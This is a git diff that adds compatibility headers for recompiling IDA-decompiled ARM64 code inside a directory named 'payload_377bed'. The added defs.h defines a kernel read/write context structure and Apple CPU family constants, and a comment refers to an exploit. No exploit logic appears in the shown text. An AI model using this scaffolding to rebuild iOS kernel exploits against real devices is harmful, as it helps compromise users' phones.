IDA_TYPES_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +/* mach_vm.h is not available on iOS SDK — declare manually */ +#define mach_vm_address_t vm_address_t +#define mach_vm_size_t vm_size_t +#define mach_vm_offset_t vm_offset_t +extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *); +extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t); +extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int); +extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t); +extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t); +extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *); +extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *); +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---- IDA integer types ---- */ +#define __int8 char +#define __int16 short +#define __int32 int +#define __int64 long long + +typedef uint8_t _BYTE; +typedef uint16_t _WORD; +typedef uint32_t _DWORD; +typedef uint64_t _QWORD; +typedef __int128 _OWORD; +typedef uint8_t _UNKNOWN; +typedef int _BOOL4; +typedef __int128 __n128; +typedef __int128 xmmword; +typedef char kernel_version_t[512]; + +/* ---- IDA calling conventions (no-ops) ---- */ +#define __fastcall +#define __cdecl +#define __usercall +#define __thiscall + +/* ---- IDA accessor macros ---- */ +#define LODWORD(x) (*(uint32_t*)&(x)) +#define HIDWORD(x) (*((uint32_t*)&(x) + 1)) +#define LOBYTE(x) (*(uint8_t*)&(x)) +#define HIBYTE(x) (*((uint8_t*)&(x) + sizeof(x) - 1)) +#define LOWORD(x) (*(uint16_t*)&(x)) +#define HIWORD(x) (*((uint16_t*)&(x) + 1)) +#define BYTE1(x) (*((uint8_t*)&(x) + 1)) +#define BYTE2(x) (*((uint8_t*)&(x) + 2)) +#define BYTE3(x) (*((uint8_t*)&(x) + 3)) +#define BYTE4(x) (*((uint8_t*)&(x) + 4)) +#define BYTE5(x) (*((uint8_t*)&(x) + 5)) +#define BYTE6(x) (*((uint8_t*)&(x) + 6)) +#define BYTE7(x) (*((uint8_t*)&(x) + 7)) +#define SHIDWORD(x) (*((int32_t*)&(x) + 1)) +#define SLOBYTE(x) (*(int8_t*)&(x)) +#define SHIWORD(x) (*((int16_t*)&(x) + 1)) +#define DWORD1(x) (*((uint32_t*)&(x) + 1)) +#define DWORD2(x) (*((uint32_t*)&(x) + 2)) +#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l)) +#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l)) +#define __CFADD__(a, b) ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b)) +#define __OFSUB__(a, b) (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0) +#define __OFADD__(a, b) (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0) + +/* ---- ARM64 intrinsics ---- */ +#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory") +#define __isb(x) __asm__ volatile("isb " #x ::: "memory") +#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory") + +/* ---- IDA helpers ---- */ +#define __break(x) __builtin_trap() +#define bswap32(x) __builtin_bswap32(x) +static inline void __chkstk_darwin(void) {} + +/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */ + +/* ---- Mach type aliases ---- */ +#ifndef host_t +typedef mach_port_t host_t; +#endif + +/* ---- SDK compatibility ---- */ +/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15. + Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */ +#undef kIOMasterPortDefault +#define kIOMasterPortDefault 0 +#ifndef SANDBOX_CHECK_NO_REPORT +#define SANDBOX_CHECK_NO_REPORT 0x0001 +#endif + +/* ---- Private syscalls ---- */ +int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import)); +int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import)); +int open_dprotected_np(const char *, int, int, int, ...); +int fileport_makeport(int fd, mach_port_t *port); +int fileport_makefd(mach_port_t port); + +/* ---- Data constants (zero-init, fill from binary .rodata) ---- */ +/* Declared as extern in .c file, defined there too */ + + +/* Additional compatibility — appended */ +#include +#include + +#define qmemcpy(d,s,n) memcpy(d,s,n) +#define bswap64(x) __builtin_bswap64(x) +#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l)) +#define WORD6(x) (*((uint16_t*)&(x) + 6)) +#define BYTE8(x) (*((uint8_t*)&(x) + 8)) +#define BYTE13(x) (*((uint8_t*)&(x) + 13)) +/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions. + ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg + reads it. We use the "mrs %0, S" syntax which accepts numeric encoding. */ +#define ARM64_SYSREG(op0,op1,crn,crm,op2) \ + (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2)) +static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) { + uint64_t val; + /* Common registers used by the exploit */ + if (reg == ARM64_SYSREG(3,3,13,0,3)) /* tpidrro_el0 */ + __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val)); + else if (reg == ARM64_SYSREG(3,3,13,0,2)) /* tpidr_el0 */ + __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val)); + else + val = 0; + return val; +} + +/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */ +extern int __semwait_signal(int, int, int, int, long long, int); + +/* struct tags C requires */ +typedef struct IONotificationPort IONotificationPort; + +/* dyld globals */ +extern double dyldVersionNumber; + +/* _os_alloc_once */ +struct _os_alloc_once_s { long once; void *ptr; }; +extern struct _os_alloc_once_s _os_alloc_once_table[]; + +/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist. + Use syscall wrappers instead of the SDK declarations. */ +static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL); +} +static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL); +} +#define IOConnectTrap4 _IOConnectTrap4 +#define IOConnectTrap6 _IOConnectTrap6 + +/* NEON union additions for i16/i32/i64/u32/u64 access */ +typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t; +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t; + + +/* Additional NEON union types for IDA decompiler output */ +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t; +typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t; +typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t; +#endif /* IDA_TYPES_H */ diff --git a/src/payload_377bed/main.m b/src/payload_377bed/main.m new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/src/payload_377bed/main.m @@ -0,0 +1 @@ + diff --git a/src/payload_377bed/tmp/defs.h b/src/payload_377bed/tmp/defs.h new file mode 100644 index 0000000..e334e09 --- /dev/null +++ b/src/payload_377bed/tmp/defs.h @@ -0,0 +1,99 @@ +@import Darwin; +#include "ida_types.h" + + enum CPUFamily : uint32_t + { + CPUFamily_A8 = 0x2C91A47E, + CPUFamily_A9 = 0x92FB37C8, + CPUFamily_A10 = 0x67CEEE93, + CPUFamily_A11 = 0xE81E7EF6, + CPUFamily_A12 = 0x7D34B9F, + CPUFamily_A13 = 0x462504D2, + CPUFamily_A14 = 0x1B588BB3, + CPUFamily_A15 = 0xDA33D83D, + CPUFamily_A16 = 0x8765EDEA, + CPUFamily_A17 = 0x2876F5B5, + }; + + typedef struct struct_krwCtx // sizeof=0x1D50 + { + _DWORD flags; + _BYTE gap4[168]; + uint32_t threadForKernelRead; + _BYTE gap42[144]; + int xnuMajorVersion; + _BYTE gap144[20]; + _QWORD someLargeNumber; + _BYTE gap160[8]; + int int168; + int gap16C[7]; + _QWORD qword188; + _BYTE gap190[200]; + int isRW; + struct mach_timebase_info timebase; + mach_port_t semaphore; + pthread_mutex_t someMutex; + uint32_t someInt1; + uint32_t someInt2; + uint64_t gap191[851]; + _QWORD qword1D48; + } struct_krwCtx; + + typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 // sizeof=0x74 + { + _BYTE gap0[80]; + _QWORD qword50; + _QWORD qword58; + _QWORD qword60; + _QWORD qword68; + _DWORD dword70; + } struct_qword1D48; + + typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion // sizeof=0x28 + { // XREF: driver_init2_1/r + _OWORD majorVersion; + _OWORD oword10; // XREF: driver_init2_1+48/w + // driver_init2_1+10C/r ... + _QWORD qword20; // XREF: driver_init2_1+40/w + // driver_init2_1+114/r ... + } struct_xnuMajorVersion; + + typedef struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83 // sizeof=0x102 + { + _BYTE gap0[48]; + _DWORD dword30; + _BYTE gap34[4]; + _DWORD dword38; + _BYTE gap3C[52]; + _OWORD xnuMajorVersion; + _OWORD oword80; + _QWORD qword90; + _DWORD dword98; + _BYTE gap9C[12]; + _QWORD qwordA8; + _BYTE gapB0[81]; + _BYTE byte101; + } struct_v83; + + typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1 // sizeof=0x128 + { + _OWORD oword0; + _OWORD oword10; + _OWORD oword20; + _OWORD oword30; + _OWORD oword40; + _OWORD oword50; + _OWORD oword60; + _OWORD xnuMajorVersion; + _OWORD oword80; + _OWORD oword90; + _OWORD owordA0; + _OWORD owordB0; + _OWORD owordC0; + _OWORD owordD0; + _OWORD owordE0; + _OWORD owordF0; + _OWORD oword100; + _OWORD oword110; + _QWORD qword120; + } struct_a1; diff --git a/src/payload_377bed/tmp/ida_types 2.h b/src/payload_377bed/tmp/ida_types 2.h new file mode 100644 index 0000000..67dbc48 --- /dev/null +++ b/src/payload_377bed/tmp/ida_types 2.h @@ -0,0 +1,194 @@ +/* + * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64 + */ +#ifndef IDA_TYPES_H +#define IDA_TYPES_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +/* mach_vm.h is not available on iOS SDK — declare manually */ +#define mach_vm_address_t vm_address_t +#define mach_vm_size_t vm_size_t +#define mach_vm_offset_t vm_offset_t +extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *); +extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t); +extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int); +extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t); +extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t); +extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *); +extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *); +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---- IDA integer types ---- */ +#define __int8 char +#define __int16 short +#define __int32 int +#define __int64 long long + +typedef uint8_t _BYTE; +typedef uint16_t _WORD; +typedef uint32_t _DWORD; +typedef uint64_t _QWORD; +typedef __int128 _OWORD; +typedef uint8_t _UNKNOWN; +typedef int _BOOL4; +typedef __int128 __n128; +typedef __int128 xmmword; +typedef char kernel_version_t[512]; + +/* ---- IDA calling conventions (no-ops) ---- */ +#define __fastcall +#define __cdecl +#define __usercall +#define __thiscall + +/* ---- IDA accessor macros ---- */ +#define LODWORD(x) (*(uint32_t*)&(x)) +#define HIDWORD(x) (*((uint32_t*)&(x) + 1)) +#define LOBYTE(x) (*(uint8_t*)&(x)) +#define HIBYTE(x) (*((uint8_t*)&(x) + sizeof(x) - 1)) +#define LOWORD(x) (*(uint16_t*)&(x)) +#define HIWORD(x) (*((uint16_t*)&(x) + 1)) +#define BYTE1(x) (*((uint8_t*)&(x) + 1)) +#define BYTE2(x) (*((uint8_t*)&(x) + 2)) +#define BYTE3(x) (*((uint8_t*)&(x) + 3)) +#define BYTE4(x) (*((uint8_t*)&(x) + 4)) +#define BYTE5(x) (*((uint8_t*)&(x) + 5)) +#define BYTE6(x) (*((uint8_t*)&(x) + 6)) +#define BYTE7(x) (*((uint8_t*)&(x) + 7)) +#define SHIDWORD(x) (*((int32_t*)&(x) + 1)) +#define SLOBYTE(x) (*(int8_t*)&(x)) +#define SHIWORD(x) (*((int16_t*)&(x) + 1)) +#define DWORD1(x) (*((uint32_t*)&(x) + 1)) +#define DWORD2(x) (*((uint32_t*)&(x) + 2)) +#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l)) +#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l)) +#define __CFADD__(a, b) ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b)) +#define __OFSUB__(a, b) (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0) +#define __OFADD__(a, b) (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0) + +/* ---- ARM64 intrinsics ---- */ +#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory") +#define __isb(x) __asm__ volatile("isb " #x ::: "memory") +#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory") + +/* ---- IDA helpers ---- */ +#define __break(x) __builtin_trap() +#define bswap32(x) __builtin_bswap32(x) +static inline void __chkstk_darwin(void) {} + +/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */ + +/* ---- Mach type aliases ---- */ +#ifndef host_t +typedef mach_port_t host_t; +#endif + +/* ---- SDK compatibility ---- */ +/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15. + Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */ +#undef kIOMasterPortDefault +#define kIOMasterPortDefault 0 +#ifndef SANDBOX_CHECK_NO_REPORT +#define SANDBOX_CHECK_NO_REPORT 0x0001 +#endif + +/* ---- Private syscalls ---- */ +int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import)); +int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import)); +int open_dprotected_np(const char *, int, int, int, ...); +int fileport_makeport(int fd, mach_port_t *port); +int fileport_makefd(mach_port_t port); + +/* ---- Stub for j__fileport wrappers ---- */ +static inline long long j__fileport_makeport(void) { return 0; } +static inline long long j__fileport_makefd(void) { return 0; } + +/* ---- Data constants (zero-init, fill from binary .rodata) ---- */ +/* Declared as extern in .c file, defined there too */ + + +/* Additional compatibility — appended */ +#include +#include + +#define qmemcpy(d,s,n) memcpy(d,s,n) +#define bswap64(x) __builtin_bswap64(x) +#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l)) +#define WORD6(x) (*((uint16_t*)&(x) + 6)) +#define BYTE8(x) (*((uint8_t*)&(x) + 8)) +#define BYTE13(x) (*((uint8_t*)&(x) + 13)) +/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions. + ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg + reads it. We use the "mrs %0, S" syntax which accepts numeric encoding. */ +#define ARM64_SYSREG(op0,op1,crn,crm,op2) \ + (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2)) +static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) { + uint64_t val; + /* Common registers used by the exploit */ + if (reg == ARM64_SYSREG(3,3,13,0,3)) /* tpidrro_el0 */ + __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val)); + else if (reg == ARM64_SYSREG(3,3,13,0,2)) /* tpidr_el0 */ + __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val)); + else + val = 0; + return val; +} + +/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */ +extern int __semwait_signal(int, int, int, int, long long, int); + +/* struct tags C requires */ +typedef struct IONotificationPort IONotificationPort; + +/* dyld globals */ +extern double dyldVersionNumber; + +/* _os_alloc_once */ +struct _os_alloc_once_s { long once; void *ptr; }; +extern struct _os_alloc_once_s _os_alloc_once_table[]; + +/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist. + Use syscall wrappers instead of the SDK declarations. */ +static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL); +} +static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL); +} +#define IOConnectTrap4 _IOConnectTrap4 +#define IOConnectTrap6 _IOConnectTrap6 + +/* NEON union additions for i16/i32/i64/u32/u64 access */ +typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t; +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t; + + +/* Additional NEON union types for IDA decompiler output */ +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t; +typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t; +typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t; +#endif /* IDA_TYPES_H */ diff --git a/src/payload_377bed/tmp/ida_types.h b/src/payload_377bed/tmp/ida_types.h new file mode 100644 index 0000000..67dbc48 --- /dev/null +++ b/src/payload_377bed/tmp/ida_types.h @@ -0,0 +1,194 @@ +/* + * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64 + */ +#ifndef IDA_TYPES_H +#define IDA_TYPES_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +/* mach_vm.h is not available on iOS SDK — declare manually */ +#define mach_vm_address_t vm_address_t +#define mach_vm_size_t vm_size_t +#define mach_vm_offset_t vm_offset_t +extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *); +extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t); +extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int); +extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t); +extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t); +extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *); +extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *); +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---- IDA integer types ---- */ +#define __int8 char +#define __int16 short +#define __int32 int +#define __int64 long long + +typedef uint8_t _BYTE; +typedef uint16_t _WORD; +typedef uint32_t _DWORD; +typedef uint64_t _QWORD; +typedef __int128 _OWORD; +typedef uint8_t _UNKNOWN; +typedef int _BOOL4; +typedef __int128 __n128; +typedef __int128 xmmword; +typedef char kernel_version_t[512]; + +/* ---- IDA calling conventions (no-ops) ---- */ +#define __fastcall +#define __cdecl +#define __usercall +#define __thiscall + +/* ---- IDA accessor macros ---- */ +#define LODWORD(x) (*(uint32_t*)&(x)) +#define HIDWORD(x) (*((uint32_t*)&(x) + 1)) +#define LOBYTE(x) (*(uint8_t*)&(x)) +#define HIBYTE(x) (*((uint8_t*)&(x) + sizeof(x) - 1)) +#define LOWORD(x) (*(uint16_t*)&(x)) +#define HIWORD(x) (*((uint16_t*)&(x) + 1)) +#define BYTE1(x) (*((uint8_t*)&(x) + 1)) +#define BYTE2(x) (*((uint8_t*)&(x) + 2)) +#define BYTE3(x) (*((uint8_t*)&(x) + 3)) +#define BYTE4(x) (*((uint8_t*)&(x) + 4)) +#define BYTE5(x) (*((uint8_t*)&(x) + 5)) +#define BYTE6(x) (*((uint8_t*)&(x) + 6)) +#define BYTE7(x) (*((uint8_t*)&(x) + 7)) +#define SHIDWORD(x) (*((int32_t*)&(x) + 1)) +#define SLOBYTE(x) (*(int8_t*)&(x)) +#define SHIWORD(x) (*((int16_t*)&(x) + 1)) +#define DWORD1(x) (*((uint32_t*)&(x) + 1)) +#define DWORD2(x) (*((uint32_t*)&(x) + 2)) +#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l)) +#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l)) +#define __CFADD__(a, b) ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b)) +#define __OFSUB__(a, b) (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0) +#define __OFADD__(a, b) (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0) + +/* ---- ARM64 intrinsics ---- */ +#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory") +#define __isb(x) __asm__ volatile("isb " #x ::: "memory") +#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory") + +/* ---- IDA helpers ---- */ +#define __break(x) __builtin_trap() +#define bswap32(x) __builtin_bswap32(x) +static inline void __chkstk_darwin(void) {} + +/* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */ + +/* ---- Mach type aliases ---- */ +#ifndef host_t +typedef mach_port_t host_t; +#endif + +/* ---- SDK compatibility ---- */ +/* kIOMasterPortDefault was renamed to kIOMainPortDefault in iOS 15. + Use 0 (MACH_PORT_NULL) which works for both old and new SDKs. */ +#undef kIOMasterPortDefault +#define kIOMasterPortDefault 0 +#ifndef SANDBOX_CHECK_NO_REPORT +#define SANDBOX_CHECK_NO_REPORT 0x0001 +#endif + +/* ---- Private syscalls ---- */ +int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import)); +int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import)); +int open_dprotected_np(const char *, int, int, int, ...); +int fileport_makeport(int fd, mach_port_t *port); +int fileport_makefd(mach_port_t port); + +/* ---- Stub for j__fileport wrappers ---- */ +static inline long long j__fileport_makeport(void) { return 0; } +static inline long long j__fileport_makefd(void) { return 0; } + +/* ---- Data constants (zero-init, fill from binary .rodata) ---- */ +/* Declared as extern in .c file, defined there too */ + + +/* Additional compatibility — appended */ +#include +#include + +#define qmemcpy(d,s,n) memcpy(d,s,n) +#define bswap64(x) __builtin_bswap64(x) +#define __PAIR128__(h,l) (((__int128)(h) << 64) | (uint64_t)(l)) +#define WORD6(x) (*((uint16_t*)&(x) + 6)) +#define BYTE8(x) (*((uint8_t*)&(x) + 8)) +#define BYTE13(x) (*((uint8_t*)&(x) + 13)) +/* _ReadStatusReg / ARM64_SYSREG: IDA uses these for mrs instructions. + ARM64_SYSREG encodes the system register as an integer, and _ReadStatusReg + reads it. We use the "mrs %0, S" syntax which accepts numeric encoding. */ +#define ARM64_SYSREG(op0,op1,crn,crm,op2) \ + (((op0)<<14)|((op1)<<11)|((crn)<<7)|((crm)<<3)|(op2)) +static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) { + uint64_t val; + /* Common registers used by the exploit */ + if (reg == ARM64_SYSREG(3,3,13,0,3)) /* tpidrro_el0 */ + __asm__ volatile("mrs %0, tpidrro_el0" : "=r"(val)); + else if (reg == ARM64_SYSREG(3,3,13,0,2)) /* tpidr_el0 */ + __asm__ volatile("mrs %0, tpidr_el0" : "=r"(val)); + else + val = 0; + return val; +} + +/* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */ +extern int __semwait_signal(int, int, int, int, long long, int); + +/* struct tags C requires */ +typedef struct IONotificationPort IONotificationPort; + +/* dyld globals */ +extern double dyldVersionNumber; + +/* _os_alloc_once */ +struct _os_alloc_once_s { long once; void *ptr; }; +extern struct _os_alloc_once_s _os_alloc_once_table[]; + +/* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist. + Use syscall wrappers instead of the SDK declarations. */ +static inline kern_return_t _IOConnectTrap4(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4}, 4, NULL, NULL); +} +static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) { + return IOConnectCallScalarMethod(c, i, (const uint64_t[]){p1,p2,p3,p4,p5,p6}, 6, NULL, NULL); +} +#define IOConnectTrap4 _IOConnectTrap4 +#define IOConnectTrap6 _IOConnectTrap6 + +/* NEON union additions for i16/i32/i64/u32/u64 access */ +typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t; +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t; + + +/* Additional NEON union types for IDA decompiler output */ +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t; +typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t; +typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t; +#endif /* IDA_TYPES_H */